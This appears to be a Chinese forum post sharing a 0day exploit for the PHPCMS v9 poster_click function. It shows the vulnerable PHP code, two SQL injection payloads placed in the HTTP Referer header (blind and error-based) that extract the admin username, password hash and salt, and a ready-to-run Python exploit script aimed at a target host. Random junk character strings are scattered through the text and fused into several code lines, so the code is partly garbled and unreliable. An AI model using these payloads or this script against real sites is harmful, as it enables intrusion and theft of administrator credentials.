phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
% K; I8 _! g" [0 G5 X0 V4 q( W0 }
问题函数\phpcms\modules\poster\index.php
# ~1 ?$ F9 @8 V8 P& r6 M. v( `
public function poster_click() {
9 _& l0 M: H' |$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
! _* [. p/ W& l# u* M8 c1 eif (!is_array($r) && empty($r)) return false;
% A# h& U+ P2 \2 z% x$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
6 J; i5 \# a& O- T; @1 ?$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
# a+ R( G' Z. y; v# \; b! C' h0 v. ^2 H$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
( {) C! X8 O/ n+ U" e1 j2 N; ~}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
; R% @( I4 b! C! }8 ]; b$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
/ D3 h* c6 w3 {& t- {$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
- ~8 V# T9 K$ z# |/ {2 {) Uheader('Location: '.$url);
0 A; k5 z" F% t( h4 r" }4 X7 c}
# ^9 n5 u6 u- j
5 r9 \2 y; b7 P0 [
$ A3 v" E' J$ H0 A9 a8 L
利用方式：
% Q3 k5 k' y% `+ L
1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
7 T3 T% B% Y- d
- x! w9 ?' P- _3 g( E通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
. U4 W: G. O! Y4 q& g
此方法是爆错注入手法，原理自查。
$ \0 O; v- ~+ f1 W
2 _" l. L8 x" w* w$ l' p% R5 w. H
& F: x/ ^# k3 |
$ v1 ?& I! m( s1 X, [% K利用程序:

#!/usr/bin/env python
$ e" @; A. S- L# p7 s( _- dimport httplib,sys,re
/ d6 `" s1 Q2 v
def attack():
print “Code by Pax.Mac Team conqu3r!”
- K  Z& N' [" o! p/ t, e% Z* R% aprint “Welcome to our zone!!!”
url=sys.argv[1]
paths=sys.argv[2]
conn = httplib.HTTPConnection(url)
4 Z. }8 W0 p- w: Q6 t  C3 D% r! bi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
5 k; ]* R$ ~2 a8 U* t7 [8 Bconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
5 H6 R  n+ Q- M+ k6 er1 = conn.getresponse()
, G' y) Y7 K$ W2 c( O( O9 }7 ?datas=r1.read()
( h$ t- }5 p7 v, _datas=re.findall(r”Duplicate entry \’\w+’”, datas)
4 s/ ?+ t+ |" G" hprint datas[0]
conn.close()
if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
; U9 y5 m2 O. @  f- p0 Vprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
  B! |& |/ \  bsys.exit(1)
' H. W" o3 S# u/ nattack()